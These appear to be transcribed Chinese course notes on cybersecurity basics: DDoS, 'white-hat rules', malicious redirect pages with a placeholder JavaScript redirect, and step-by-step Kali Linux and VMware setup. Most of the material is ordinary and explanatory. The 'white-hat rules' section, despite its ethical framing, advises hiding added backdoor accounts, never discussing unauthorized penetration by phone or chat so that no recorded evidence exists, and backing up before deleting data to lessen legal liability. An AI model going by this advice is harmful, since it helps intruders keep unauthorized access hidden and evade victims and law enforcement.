本节课中我们一起学习了数据库被植入内容这种攻击方式。我们了解了攻击者可以通过服务漏洞、配置错误、弱密码和SQL注入等多种途径入侵数据库,并重点介绍了危害极大的数据库勒索病毒。保护数据库安全,需要从严格的访问控制、强密码策略、及时修补漏洞和防范SQL注入等多方面入手。

网络安全基础 P19:DDoS攻击详解 🛡️
在本节课中,我们将要学习一种常见的网络攻击方式——DDoS攻击。我们将了解它的基本原理、常见目标以及其带来的严重影响。


上一节我们介绍了多种网站攻击方式,本节中我们来看看第八种:DDoS攻击。

DDoS攻击是网站攻击中常见的一种。攻击者利用之前提到的“肉鸡”(即被控制的计算机)向目标服务器发送海量请求,导致服务器资源耗尽,无法处理正常用户的访问。


其核心原理可以用一个简单的公式描述:
服务器资源(带宽、CPU、内存) ≤ 恶意请求流量 = 服务瘫痪


当网站遭遇DDoS攻击时,最直接的表现就是网页打不开。
以下是DDoS攻击常见的几类目标行业:


- 游戏公司:攻击目标通常是游戏的下载服务器或登录服务器。
- 特殊娱乐行业:例如在线麻将、博彩类网站,也容易成为攻击目标。
- 恶性商业竞争:竞争对手之间通过互相攻击,意图拖垮对方的在线服务。
这种攻击的影响范围很大。例如,一家游戏公司被攻击时,可能连累整个数据中心机房的网络速度都变得缓慢。
目前防御DDoS攻击存在一定困难。虽然可以购买专业的防护服务,但费用通常非常高昂,且防护效果并非总是理想。一旦遭受大规模DDoS攻击,企业往往会蒙受惨重损失。
甚至衍生出一种畸形的商业模式:有人专门攻击游戏服务器,迫使游戏公司支付高额费用购买其“防护技术”,按小时计费。
在实际运营中,如果缺乏可靠的技术支持或人脉关系,在遭遇攻击时可能求助无门,导致巨大的经济损失。

本节课中我们一起学习了DDoS攻击。我们了解到,它是一种通过海量虚假流量淹没目标服务器,使其无法提供正常服务的攻击手段,常见于游戏、娱乐等行业,且防御成本高、难度大,对企业危害严重。
课程P2:1.1-网络安全基础-白帽守则(上) 🔐
在本节课中,我们将要学习网络安全领域的基础入门知识,特别是作为从业者必须了解并遵守的“白帽守则”。这些准则关乎法律、道德与个人职业发展,是每一位安全爱好者或从业者的第一课。
认识黑客:揭开神秘面纱 🎭
上一节我们介绍了课程的整体目标,本节中我们来看看“黑客”这个被广泛误解的群体。

黑客一词最早与“极客”类似,指代那些极度热爱技术、追求硬件极致、并拥有创新精神的人。他们可能来自各行各业,身份各异,但共同点是对技术的狂热与崇尚。黑客精神本身是褒义的,代表着对技术的深度探索。
然而,由于过去发生的诸多安全事件,如人肉搜索、DDoS攻击、盗号等,这个词在公众印象中逐渐被“丑化”,带上了贬义色彩。这就像“一颗老鼠屎坏了一锅粥”,少数人的行为影响了整个群体的声誉。
真正的黑客技术并非无所不能,也并非深不可测。通过系统的学习和正确的工具,即使是初学者也能理解其原理。但重要的是,技术本身是中性的,关键在于使用它的人。
为何必须强调守则?⚖️
在了解了黑客的本来面目后,我们必须思考如何正确地运用相关技术。网络安全领域较为特殊,在2017年《网络安全法》出台前,行业曾处于灰色地带。如今,法律边界已非常清晰。

从事安全行业,尤其是渗透测试相关工作,通常会涉及敏感数据和关键基础设施,如金融、电信、政府等领域。因此,从业者往往需要经过严格的背景审查并签署保密协议。
技术是一把双刃剑。例如,系统中存在的“免杀”技术,可以轻易绕过某些安全软件的检测。这从侧面说明,没有任何系统是绝对安全的。我们的学习目的,是为了防御而非破坏,是为了构建更安全的环境。
白帽黑客核心守则 📜
以下是每一位安全从业者都应熟知并遵守的基本准则。这些准则有助于你在法律和道德框架内行事,保护自己,也保护他人。
第一条:不恶意破坏任何系统
- 不要恶意破坏他人的系统、软件或服务器,否则将承担法律责任。
- 即使是未经授权的访问和使用(例如,仅用对方电脑打开网页),也属于违法行为。
- 核心提醒:若万不得已进行了删除操作,务必提前备份数据,这可能在法律程序中成为减轻责任的依据。

第二条:不随意修改系统文件
- 原则上不应修改任何系统文件。
- 若因技术需要(如提权)必须修改,在达成目的后,应将其恢复原状。

第三条:不分享未授权访问的凭证
- 不要将你渗透获得的站点、系统的账号密码等信息,告知你并不完全信任的人。

第四条:不公开讨论渗透行为
- 不要在论坛、群组等任何公开或半公开场合,讨论你具体的渗透测试行为或成果。
- 保持低调,“烂在肚子里”是基本的职业素养。
第五条:使用化名
- 在技术博客、社区等网络活动中,务必使用化名,避免使用真实姓名,以保护个人隐私和安全。


第六条:操作时保持设备安全
- 在渗透测试或进行敏感操作期间,如需暂时离开,必须锁屏或采取其他安全措施,防止他人误操作或窃取数据。

第七条:谨慎对待关键基础设施
- 不要轻易入侵或攻击电信、金融、政府机关等关键行业的服务器与网站。
- 注意:此条适用于一般和平时期,历史上在特定网络战时期有过例外。

第八条:避免通讯风险
- 不要在电话、微信等通讯方式中,谈论任何与未授权渗透测试相关的具体内容,谨防被录音或留下文字证据。

第九条:妥善保管设备
- 将存有敏感数据或工具的笔记本电脑、移动硬盘等设备放置在安全的地方,做到“包不离身”,防止数据泄露。

第十条:持续学习与跟进
- 多阅读关于系统安全与漏洞的官方公告和技术文档(如微软安全公告)。
- 目的有二:一是学习如何复现漏洞以理解其原理;二是研究如何修复漏洞,提升防御能力。



第十一条:保持隐蔽
- 在已取得访问权限的系统上,不要删除或修改原有的用户账号。
- 添加自己所需的后门账号时,应力求隐蔽,避免打草惊蛇。


第十二条:不分享渗透成果
- 不要将你已经取得权限的站点或系统分享给他人,即使对方是你的朋友。
- 你无法保证他人的行为是否合规,其不当行为可能会牵连到你。

第十三条:夯实技术基础
- 黑客(安全研究员)需要广泛而深入的技术知识。
- 不仅要会使用工具 (
ssh,metasploit),还要理解底层协议原理(如TCP/IP状态机),甚至能自己编写工具。这需要运维、开发、网络等多方面的知识储备。




第十四条:明确道德边界
- 黑客行为不同于盗窃。我们追求的是技术挑战和安全提升,而非单纯的利益窃取。
- 应始终站在正义和防御的一方。
总结 📝




本节课中我们一起学习了网络安全的基础入门知识。我们首先纠正了对“黑客”的片面认识,了解了其技术崇尚的本质。随后,我们重点阐述了作为白帽黑客必须遵守的十四条核心守则。这些守则涵盖了法律底线、道德规范、操作安全和职业习惯,是保障你在这个领域长远、健康发展的基石。请务必牢记:技术是用来建设和保护的,切勿以身试法。在接下来的课程中,我们将在此基础上,开始学习具体的技术知识。
网络安全基础 P20:常见网站攻击方式概述 - 非法桥页 🚧

在本节课中,我们将要学习第九种常见的网站攻击方式:非法桥页。我们将了解它的基本概念、实现原理以及攻击者的最终目的。

上一节我们介绍了其他类型的攻击方式,本节中我们来看看这种通过页面跳转来实施攻击的手法。
非法桥页攻击,指的是网站被植入恶意代码,导致用户访问该网站时,页面会先正常打开,随后立即自动跳转到一个指定的、通常是恶意的或充满广告的页面上。

实现原理
这种攻击主要通过以下技术手段实现:
以下是几种常见的技术实现方式:

- 客户端脚本:利用 JavaScript 代码在用户浏览器端实现强制跳转。
// 示例:使用JS进行页面跳转 window.location.href = "http://恶意网站地址"; - 服务器端配置:攻击者可能篡改网站服务器的配置文件(如 Nginx、Apache、Tomcat 的配置),设置 301 或 302 状态码的永久或临时重定向。
- HTML元标签:在网页的HTML头部插入
<meta>标签,设定一定时间后自动刷新并跳转。
攻击目的

无论采用何种技术,其最终目的通常是一致的。

攻击者的核心动机是为了获取不正当利益,具体表现为:

- 劫持流量:将原网站的访问流量引导至攻击者控制的页面。
- 推广广告:在跳转后的页面上展示大量广告,通过点击获取收益。
- 传播恶意软件:诱导用户下载病毒、木马等恶意程序。
- 进行网络钓鱼:跳转到仿冒的登录页面,窃取用户的账号密码等敏感信息。

本节课中我们一起学习了非法桥页攻击。我们了解到,这种攻击通过技术手段强制用户跳转到指定页面,其根本目的是为了劫持流量并从中牟利。作为网站管理者,应定期检查服务器配置与网站代码;作为普通用户,遇到突然跳转的网页需保持警惕,避免点击不明链接或下载文件。
P21:6.1-【Kali渗透系列】Kali Linux简介 🐧

在本节课中,我们将要学习Kali Linux的基础知识,包括其定义、历史、核心特性与优势,为后续的安装与配置打下基础。
什么是Kali Linux?🔍
上一节我们介绍了课程目标,本节中我们来看看Kali Linux究竟是什么。

Kali Linux是一个基于Debian的Linux发行版。它的主要目的是进行高级渗透测试和安全审计。Kali Linux包含了数百种工具,适用于各种信息安全任务,例如渗透测试、安全研究、计算机取证和逆向工程。简单来说,Kali Linux只是一个集成了很多渗透测试工具的Linux系统,其核心是基于Debian。
Kali Linux由Offensive Security公司开发、资助和维护。“Offensive”翻译过来是“攻击性的”,因此Offensive Security即“进攻性安全”。

Kali Linux的历史 📜
了解了Kali Linux的定义后,我们来看看它的发展历程。

Kali Linux于2013年3月13日发布。它的前身是基于BackTrack Linux自上而下进行重建的,并且完全符合Debian开发标准。
Kali Linux的优势与特性 ⚡
现在我们已经知道了Kali Linux是什么以及它的由来,本节中我们将重点分析它为何如此受欢迎,以及它具备哪些核心优势。
Kali Linux在许多渗透测试系统排名中位列第一,也是最受欢迎的。以下是其主要优势与特性:
- 集成大量工具:系统本身包含了600多种渗透测试工具。安装完成后即可直接使用。
- 完全免费:用户可以永久免费使用Kali Linux,无需支付任何费用。
- 开源:进入Kali Linux的所有源代码都可供任何人使用。用户可以在其基础上进行二次开发。
- 广泛的无线设备支持:Kali Linux旨在支持尽可能多的无线设备,允许其在各种硬件上正常运行,并与众多USB和其他无线设备兼容。
- 安全的开发环境:Kali Linux的开发由一小部分可信任的成员完成,他们负责提交软件包并与代码仓库交互,整个过程使用多种安全协议。
- GPG签名包和存储库:Kali Linux中的每个软件包都由构建和提交它的开发人员签名,随后存储库也会对包进行签名。
- 支持ARM设备:Kali Linux可以用于各种ARM设备,例如树莓派,也可以在手机端安装。

本节课中我们一起学习了Kali Linux的基本概念。我们了解到它是一个专为渗透测试和安全审计设计的免费、开源Linux发行版,集成了海量工具,并因其安全性、兼容性和免费特性而广受欢迎。在下一节中,我们将开始学习如何在虚拟机中安装Kali Linux。
课程 P22:6.2 - 【Kali渗透系列】使用VMware创建Kali虚拟机 🖥️➡️🐧

在本节课中,我们将学习如何使用 VMware 虚拟机软件来安装 Kali Linux 操作系统。整个过程包括下载镜像、配置虚拟机硬件以及解决安装过程中可能遇到的常见问题。


下载 Kali Linux 镜像
首先,我们需要下载 Kali Linux 的安装镜像文件。
Kali Linux 的官方网站地址是 www.kali.org。

打开官方网站后,点击页面上的 “Download” 按钮。

在下载页面中,点击 “Download Kali Linux”。

页面会列出所有可用的安装包下载地址。最新版本(例如 2020.4)的 ISO 文件较大(约 4.1GB),下载可能较慢。也可以选择下载种子文件,使用迅雷等工具加速下载。
本课程使用的是 2019.1a 版本。要下载旧版本,可以访问 old.kali.org 这个地址。
在该页面点击 “Kali Images”,可以找到从 1.0 到最新版本的所有镜像。找到 2019.1a 版本。
对于 64 位系统,应下载 kali-linux-2019.1a-amd64.iso 文件。对于 32 位系统,则下载 kali-linux-2019.1a-i386.iso 文件。点击对应链接即可下载。
创建新的虚拟机
上一节我们准备好了系统镜像,本节我们来看看如何在 VMware 中创建新的虚拟机。
打开 VMware 软件,点击 “创建新的虚拟机”。
在安装类型选择界面,“典型”和“自定义”都可以,本教程选择“典型”配置,然后点击“下一步”。
在安装来源界面,选择“安装程序光盘映像文件”,并点击“浏览”按钮,找到并选中你下载的 kali-linux-2019.1a-amd64.iso 文件,然后点击“下一步”。
系统会自动检测到这是 Linux 系统。在版本选择中,因为 Kali 基于 Debian,所以请选择 “Debian 8.x 64位”,然后点击“下一步”。
在命名虚拟机界面,为虚拟机起一个名称,例如 “Kali”。同时可以设置主机名,例如 “kali-pentest”。还需要选择虚拟机文件的保存位置,建议创建一个专门的文件夹(如 VM/Kali)来管理,然后点击“下一步”。
在指定磁盘容量界面,默认的 20GB 对于后续使用可能不够。建议设置为 100GB。请注意,这 100GB 是最大可用空间,并非立即全部占用,而是动态分配。然后点击“下一步”。
在磁盘文件存储方式界面,有两个选项:
- 将虚拟磁盘存储为单个文件:管理方便,推荐选择。
- 将虚拟磁盘拆分成多个文件:在某些文件系统上可能有优势。
选择其中一个后,点击“下一步”。
在准备创建界面,先不要点击“完成”。我们需要点击“自定义硬件”来调整虚拟机配置。
配置虚拟机硬件
以下是需要调整的主要硬件配置项:
内存:建议分配物理机内存的一半左右,但至少保证 2GB。例如,物理机有 16GB 内存,可以分配 4GB 给虚拟机。
代码示例(在VMware硬件设置中调整): 内存大小 = 4096 MB
处理器:建议处理器核心数与物理机 CPU 核心数相同。例如,物理机是 4 核 CPU,这里就配置为 4 核。
代码示例(在VMware硬件设置中调整): 处理器数量 = 1, 每个处理器的核心数量 = 4

网络适配器:选择 “桥接模式” 或 “NAT 模式” 都可以让虚拟机联网。如果是在校园网等需要认证的环境下,建议选择 “NAT 模式”。

其他设备:USB 控制器、声卡、打印机等设备如果暂时用不到,可以选中后点击“移除”以简化配置。

配置完成后,点击“关闭”,然后回到上一界面点击“完成”。


网络配置(桥接模式注意事项)
如果你在上一节选择了桥接模式,为了确保网络连接正常,需要进行额外配置。

在 VMware 主界面,点击菜单栏的 “编辑”,选择 “虚拟网络编辑器”。


在弹出的窗口中,点击右下角的 “更改设置” 以获取管理员权限。



在列表中选择 “VMnet0”(桥接模式),然后在 “桥接到” 的下拉菜单中,选择你物理机正在使用的真实网卡。


正确选择后,点击“确定”保存设置。这一步能有效避免安装时网络配置失败或无法联网的问题。

解决常见安装错误:VT-x 禁用
在点击“开启此虚拟机”后,部分用户可能会遇到错误提示:“此主机支持 Intel VT-x,但 Intel VT-x 处于禁用状态”。
这意味着你电脑的 CPU 支持虚拟化技术,但在 BIOS/UEFI 中被禁用了。解决方法是在物理机的 BIOS/UEFI 设置中开启虚拟化支持。

不同类型的主板进入 BIOS/UEFI 的按键不同,通常是 F2、F12、Delete 或 Esc 键,请在开机时尝试。
以华硕主板为例:
- 开机按
Delete或F2进入 BIOS。 - 按
F7或点击“高级模式”进入高级设置。 - 在“高级”菜单中找到 “Intel Virtualization Technology” 选项。
- 将其状态从 “Disabled” 改为 “Enabled”。
- 按
F10保存并退出,电脑会自动重启。
以传统AMI BIOS为例:
- 进入 BIOS 后,使用方向键切换到 “Advanced” 选项卡。
- 找到 “Intel Virtualization Technology” 选项。
![]()
- 按
Enter键,将其值从 “Disabled” 改为 “Enabled”。 - 按
F10保存并退出。
修改完成后,重新启动物理机,再次打开 VMware 启动虚拟机,即可正常进入 Kali Linux 安装界面。

总结
本节课中,我们一起学习了使用 VMware 安装 Kali Linux 的完整流程:
- 下载镜像:从 Kali 官网或旧版本存档站点获取所需版本的 ISO 文件。
- 创建虚拟机:在 VMware 中新建虚拟机,并指定镜像文件。
- 配置硬件:根据物理机资源合理分配内存、CPU核心数,并选择网络模式。
- 网络调优:若使用桥接模式,需在虚拟网络编辑器中指定正确的物理网卡。
- 排除故障:若启动报错,需进入物理机 BIOS/UEFI 开启 CPU 的虚拟化支持(VT-x)。
完成以上步骤后,虚拟机就能顺利启动并进入 Kali Linux 的安装程序了。下一节课,我们将继续讲解 Kali Linux 系统的具体安装与初始设置。
课程 P23:6.3 - 【Kali渗透系列】安装Kali虚拟机系统 🖥️

在本节课中,我们将学习如何在虚拟机中安装Kali Linux操作系统。我们将从启动虚拟机开始,逐步完成语言选择、网络配置、磁盘分区、用户设置等关键步骤,最终成功引导进入Kali系统桌面。

上一节我们介绍了如何准备Kali Linux的安装镜像。本节中,我们来看看如何启动虚拟机并开始安装过程。

我们点击开启此虚拟机。

等待虚拟机启动,启动过程中出现的提示窗口可以先关闭。



启动后,我们将进入安装引导界面。以下是选择安装模式的操作步骤。
在引导界面,我们需要移动鼠标并按下键盘的向下方向键,选择倒数第三项“Graphical install”(图形化安装)。

选择图形化安装模式。

选择好安装模式后,接下来需要进行一系列初始配置。以下是配置语言和地区的步骤。
首先选择系统语言。为了便于操作,我们选择“中文(简体)”,然后点击“继续”。
接着选择国家,默认选择“中国”即可,点击“继续”。
然后配置键盘布局,可以选择默认的“汉语”或“美式英语”,点击“继续”。
系统会开始加载额外的安装组件并配置网络。如果网络不通,此步骤可能会失败。

网络配置完成后,需要设置系统的主机名和用户密码。以下是具体操作。
为主机设置一个名称,例如“xueba-wusan”,然后点击“继续”。
域名设置保持默认,直接点击“继续”。
接下来设置root用户的密码。对于本地虚拟机,建议设置简单易记的密码,例如 123456。输入密码后点击“继续”。
设置好用户后,需要对虚拟机的磁盘进行分区。以下是磁盘分区的步骤。
进入磁盘分区环节。对于新手,建议使用默认的“使用整个磁盘”选项,点击“继续”。
选择要分区的磁盘,因为我们只有一块虚拟硬盘,所以直接选择默认项,点击“继续”。
分区方案选择“将所有文件放在同一个分区中(推荐新手使用)”,点击“继续”。
确认分区设定,选择“结束分区设定并将修改写入磁盘”,仔细核对后点击“继续”。
系统会询问“将改动写入磁盘吗?”,选择“是”,然后继续。
之后系统将开始安装过程,请耐心等待。安装速度取决于您电脑的物理内存和分配给虚拟机的资源。
在安装过程中,有一个关于软件源的配置选项需要注意。以下是相关说明。
当出现“配置软件包管理器”步骤时,系统会询问“是否使用网络镜像?”。如果选择“是”,安装程序会尝试连接Kali官方源在线下载组件。但由于网络原因,可能会导致安装失败。
因此,建议在此处选择“否”,然后点击“继续”。我们可以在系统安装完成后,再手动配置软件源。
安装过程的最后一步是安装系统引导程序。以下是相关操作。
安装程序会提示安装GRUB引导程序。GRUB是启动系统所必需的,选择“是”,将GRUB安装至主引导记录。
当询问安装设备时,选择我们唯一的硬盘(例如 /dev/sda),点击“继续”。
等待安装程序完成所有剩余工作。
所有步骤完成后,系统将进行重启。以下是首次登录系统的操作。
安装完成后,点击“继续”,系统将自动重启虚拟机。


重启后,将进入Kali Linux的登录界面。默认情况下,系统只有一个用户 root。
在登录提示处输入用户名:
root
按下回车键。

然后输入在安装过程中设置的root用户密码(例如 123456),按下回车键或点击登录。

成功登录后,即可进入Kali Linux的桌面环境。


本节课中我们一起学习了在虚拟机中完整安装Kali Linux系统的全过程。我们从启动虚拟机开始,依次完成了安装模式选择、语言地区配置、主机名与密码设置、磁盘分区、软件源选择以及GRUB引导程序安装等关键步骤,并最终成功登录系统。请确保记住您设置的root密码,这是管理系统的关键。安装完成后,您就拥有了一个用于网络安全学习和测试的Kali Linux环境。
P24:6.4-【Kali渗透系列】VMware Tools 的安装 🛠️
在本节课中,我们将要学习如何在Kali Linux虚拟机中安装VMware Tools。安装此工具的主要目的是为了获得更好的虚拟机体验,例如自适应屏幕分辨率、文件共享等功能。在后续配置软件源之前,安装它是非常必要的准备工作。
为什么需要安装VMware Tools?🤔

在安装Kali Linux时,如果选择了“不使用网络镜像”,系统默认将没有任何可用的软件源,导致无法安装任何软件。为了方便后续配置国内的apt软件源,我们需要先安装VMware Tools。这个工具由VMware虚拟机软件自带,能显著提升虚拟机的使用体验。

安装步骤详解 📥
以下是安装VMware Tools的具体操作流程。
1. 加载VMware Tools安装镜像
首先,我们需要从VMware菜单中加载安装镜像。
- 在VMware顶部菜单栏,点击 虚拟机。
- 在下拉菜单中选择 安装VMware Tools。
- 此时,虚拟机会自动将一个包含安装文件的ISO镜像加载到系统的光驱中。

2. 复制并解压安装包

加载的镜像文件位于只读的光驱中,我们需要将其复制到可写的目录并进行解压。
- 打开文件管理器,在左侧设备栏找到并点击新出现的 VMware Tools 光盘图标。
- 你会看到一个名为
VMwareTools-xxx.tar.gz的压缩包(xxx代表版本号)。 - 右键点击该压缩包,选择 复制到...,然后选择目标位置为你的用户主目录(例如
/root或/home/kali)。 - 进入你的主目录,找到刚才复制的压缩包。
- 右键点击它,选择 提取到此处,将其解压。
3. 通过终端执行安装
接下来,我们需要在终端中运行安装脚本。
- 打开终端。
- 使用
cd命令切换到解压出来的目录。例如:cd ~/vmware-tools-distrib/ - 目录中会有一个绿色的可执行安装脚本
vmware-install.pl。 - 使用以下命令运行安装脚本,
-d参数表示接受所有默认选项,实现自动化安装:sudo ./vmware-install.pl -d - 安装过程会自动进行。安装完成后,一个最直观的变化是虚拟机屏幕会自适应VMware窗口的大小,显示区域变得更大、更舒适。

4. 重启系统

为了使VMware Tools的所有功能完全生效,建议重启系统。
- 在终端中输入重启命令:
sudo reboot - 系统重启后,再次登录,VMware Tools就已成功安装并运行了。现在,虚拟机的显示和交互体验得到了改善。
总结 📝

本节课中,我们一起学习了为Kali Linux虚拟机安装VMware Tools的完整过程。我们首先了解了安装它的必要性——为配置软件源做准备并提升使用体验。接着,我们逐步操作了加载镜像、复制解压安装包、在终端中执行自动化安装命令,并最终重启系统使配置生效。成功安装后,虚拟机的显示效果和整体兼容性都得到了增强,为后续的学习和操作打下了良好的基础。

课程P25:6.5 - 【Kali渗透系列】配置Kali的APT国内源 🛠️
在本节课中,我们将学习如何为Kali Linux配置APT软件包管理器的国内镜像源。配置国内源可以显著提升软件下载和更新的速度,是后续安装各类工具的基础。
概述

安装Kali Linux时,若未选择使用镜像源,系统将无法通过APT命令安装任何软件。因为APT安装软件的功能依赖于从“源”服务器下载软件包。为了后续安装和更新软件包的便利与速度,我们将手动配置一个稳定且快速的国内镜像源。

配置APT国内源

上一节我们完成了VMware Tools的安装,本节中我们来看看如何配置APT的国内源。
首先,我们需要打开终端。点击Kali桌面上的终端图标。
在终端中,我们将编辑APT的源列表文件。该文件位于 /etc/apt/sources.list。使用以下命令打开它:

sudo vim /etc/apt/sources.list
打开后,你会发现该文件目前是空的,没有任何源地址。接下来,我们需要将国内源的地址添加进去。
一个常用且稳定的国内源是中科大的Kali源。以下是需要添加的两行内容:
deb https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
在Vim编辑器中,按下 i 键进入插入模式,然后将上述两行内容粘贴到文件末尾。在Kali终端中,可以使用鼠标滚轮键进行粘贴。完成后,按下 ESC 键退出插入模式,输入 :wq 保存并退出文件。

扩展知识:
deb代表软件包的位置。deb-src代表对应软件包的源代码位置。
验证源配置

源配置完成后,我们需要验证它是否生效。
在终端中执行以下命令,该命令会从我们新配置的源获取最新的软件包列表,但并不会真正安装或更新任何软件:
sudo apt update
如果命令执行成功,并显示从 mirrors.ustc.edu.cn(中科大镜像站)获取信息,则说明源配置成功。
理解Kali Rolling与软件包分类
在配置的源地址中,我们看到了 kali-rolling、main、non-free、contrib 等关键词。以下是它们的含义:
- kali-rolling: 这是Kali的即时更新版本。只要Kali官方有更新,最新的软件包就会被放入这个版本中,为用户提供稳定且包含最新工具的环境。
- 软件包分类:Kali的APT源包含三类软件包。
- main: 遵循 Debian 自由软件指导方针 (DFSG),且不依赖于
non-free软件包。 - contrib: 遵循 DFSG,但依赖于
non-free软件包。 - non-free: 不遵循 DFSG 的软件包。
- main: 遵循 Debian 自由软件指导方针 (DFSG),且不依赖于
你可以通过浏览器访问 https://mirrors.ustc.edu.cn/kali/dists/ 来直观地查看这些目录结构。

APT更新命令详解

在执行 apt update 后,你可能会想知道如何进行真正的更新。以下是几个关键命令的区别:

apt update: 从/etc/apt/sources.list中定义的源服务器获取最新的软件包列表。它只“检查”更新,而不进行任何安装。apt upgrade: 根据apt update获取的列表,升级所有已安装的软件包到最新版本。它不会安装新包或删除旧包。apt dist-upgrade: 功能更强大的升级命令。除了执行upgrade的功能外,它还会智能地处理依赖关系的变化,可能会安装新包或删除旧包,以完成系统升级。

关于 InRelease 文件:在执行 apt update 时,你会看到它下载了一个 InRelease 文件。这个文件包含了软件源的元数据(如软件包列表的哈希值),用于验证下载内容的完整性和真实性。
总结

本节课中我们一起学习了配置Kali Linux APT国内源的全过程。我们首先了解了配置源的必要性,然后逐步完成了编辑源列表文件、添加中科大镜像地址、验证配置以及更新软件包列表的操作。此外,我们还深入了解了 kali-rolling 版本的含义、软件包的三种分类(main, contrib, non-free),以及 apt update、apt upgrade 和 apt dist-upgrade 这几个关键命令的区别。掌握这些知识,将为你在Kali Linux上高效地安装和管理软件打下坚实基础。
P26:6.6-【Kali渗透系列】解决Kali软件包安装存在的依赖问题 🔧
在本节课中,我们将学习如何解决Kali Linux 2019.1a版本中软件包安装和系统升级时遇到的依赖问题。我们将通过一系列命令和配置调整,使旧版本系统能够正常安装软件。


问题概述与原因分析
上一节我们介绍了Kali Linux的基本安装。本节中我们来看看一个常见问题:在Kali 2019.1a版本中,使用apt命令安装软件或升级系统时,经常会遇到依赖关系错误,导致操作失败。

这个问题产生的原因是,Kali官方的软件源已不再支持旧版本系统。因此,系统安装后,通过apt安装软件会遇到软件包依赖问题,许多工具将无法成功安装。
核心解决方案

解决此问题的核心方法是:在安装或升级过程中,如果出现依赖或破坏性错误提示,就将所有提示需要安装的软件包名称复制下来,与原始安装命令一起执行。

以下是具体操作步骤:
- 当执行命令(如
apt -y full-upgrade)出现错误时,终端会提示“破坏 xxx”或“依赖 xxx”。 - 将这些提示中需要安装的软件包名称(例如
xxx)复制下来。 - 在原始命令后添加一个空格,然后粘贴这些软件包名称,形成一个新的复合安装命令。
- 执行这个新命令,直到不再出现错误提示,等待安装完成。
示例命令格式:
apt install [原始软件包名] [新提示的依赖包1] [新提示的依赖包2]
详细操作流程
步骤一:处理依赖错误并升级

首先,我们尝试升级系统,并按照上述方法解决遇到的依赖问题。
打开终端,执行以下命令开始升级:
apt -y full-upgrade
如果命令执行后提示依赖问题,请将提示中需要安装的软件包名称复制,附加到上述命令后重新执行。

注意:在整个安装过程中,请守在电脑前,因为可能会遇到需要手动确认的选项。


步骤二:处理安装过程中的交互提示

在升级过程中,可能会遇到类似“您希望如何处理配置文件?”的提示。通常,选择默认选项(即安装软件包维护者提供的版本)即可。


当出现此类提示时,直接按 大写的 Y,然后回车继续。
步骤三:重启系统
漫长的安装过程结束后,系统会提示升级成功。此时,我们需要重启系统以使所有更改生效。
reboot
重启后,再进行软件安装或系统升级,就不会再报依赖错误了。
升级后的桌面环境配置
升级完成后,桌面环境会更新为最新的GNOME版本,但一些常用组件可能被隐藏。我们需要进行一些配置来恢复它们。

以下是需要启用的GNOME扩展列表,用于恢复桌面功能:

- 应用程序菜单:恢复顶部菜单栏的应用程序列表。
- Dash to Dock:恢复左侧的收藏栏(Dock)。
- 桌面图标:允许在桌面显示图标。
- User Themes:允许使用自定义主题。

配置方法:
- 打开终端,输入
gnome-tweaks打开“优化”工具。 - 切换到“扩展”选项卡。
- 找到上述扩展名,并将其开关切换到“开启”状态。

恢复桌面右键菜单功能


默认情况下,升级后可能在桌面点击右键无法打开终端。我们需要安装一个扩展来恢复此功能。

在终端中执行以下命令进行安装:
apt install gnome-shell-extension-desktop-icons-ng
安装完成后,再次重启系统,即可在桌面使用右键菜单。
管理收藏栏
现在,左侧的收藏栏已经恢复。你可以将常用工具固定到此处:
- 添加:在应用程序列表中,找到工具,右键点击,选择“添加到收藏夹”。
- 移除:在收藏栏中,右键点击已固定的图标,选择“从收藏夹中移除”。
关于系统升级命令的补充说明
在解决依赖问题的过程中,我们用到了系统升级命令。这里详细解释几个相关命令的区别:
apt update:检查软件源中所有软件包的更新列表,并获取其版本信息。这是升级前的必要步骤。apt upgrade:根据update获取的列表,升级当前已安装的软件包。如果遇到需要变更依赖关系(如安装新包或删除旧包)的情况,它会跳过这些包,以保持系统稳定性。apt full-upgrade/apt dist-upgrade:同样根据update获取的列表升级软件包。但它会智能处理依赖变更,必要时安装新依赖或移除旧包。这个命令更彻底,但被认为风险稍高。
核心区别公式化描述:
当软件包A的依赖从
[B, C, D]变为[B, C, E]时:
upgrade会拒绝升级A。full-upgrade会删除D,安装E,然后升级A。
重要提示:
- 升级前务必先执行
apt update。 - 对于个人使用,
apt upgrade通常足够稳定可靠。 - 最稳妥的方式是直接下载最新版Kali镜像安装,而非跨大版本升级。
- 在进行任何系统级更改前,务必为虚拟机创建快照。
安装常用编译工具
在安装Kali时,如果选择了“最小化安装”,可能会缺少一些编译工具。为了保证后续某些工具的安装和使用,我们手动安装它们。
执行以下命令安装Linux内核头文件和编译工具:
apt install -y linux-headers-$(uname -r) gcc make
其中 $(uname -r) 会自动获取当前系统正在使用的内核版本,确保安装匹配的头文件。
安装完成后,建议再次重启系统。

课程总结


本节课中我们一起学习了如何解决Kali Linux 2019.1a版本的软件包依赖问题。我们通过组合安装命令解决了依赖错误,完成了系统升级,并配置了新的GNOME桌面环境,恢复了收藏栏、右键菜单等功能。最后,我们还了解了不同系统升级命令的区别,并安装了必要的编译工具。

关键要点回顾:
- 解决依赖问题的核心是将所有报错的依赖包与主包一起安装。
- 升级后需通过 GNOME Tweaks工具 启用必要扩展来配置桌面。
- 区分
apt upgrade(稳定)和apt full-upgrade(彻底)的使用场景。 - 任何重大操作前,创建虚拟机快照是最佳实践。


现在,你的Kali系统已经解决了依赖问题,可以正常安装绝大多数安全工具了。
P27:6.7-【Kali渗透系列】安装VM-Tools实现物理机和Kali自由复制文件 🛠️
在本节课中,我们将学习如何为Kali Linux虚拟机安装Open VM Tools,以实现物理机与虚拟机之间更稳定、更便捷的文件复制、粘贴、拖拽以及屏幕自适应功能。

上一节我们介绍了Kali Linux的基本配置,本节中我们来看看如何增强虚拟机与物理机之间的交互体验。

安装Open VM Tools 🚀

为了替代VMware自带的VMware Tools,我们将安装Open VM Tools。它能更完美地实现客户机屏幕分辨率自适应、窗口大小随意调整,以及在物理机和Kali之间进行文件复制、粘贴和拖拽操作,稳定性更佳。
以下是安装步骤:
- 首先,在Kali Linux中打开终端。
- 执行以下命令来更新软件包列表:
sudo apt update - 接着,执行安装命令:
sudo apt install open-vm-tools-desktop fuse
在安装过程中,系统会提示确认,输入 y 并按回车键继续。
命令解析与APT工具介绍 📖
上一节我们执行了安装命令,本节中我们来了解一下这些命令的含义以及Linux中的包管理工具。

apt 是一条用于Debian系Linux操作系统的命令,主要用于从互联网软件仓库中搜索、安装、升级和卸载软件。.deb 是此类系统的核心软件包格式。
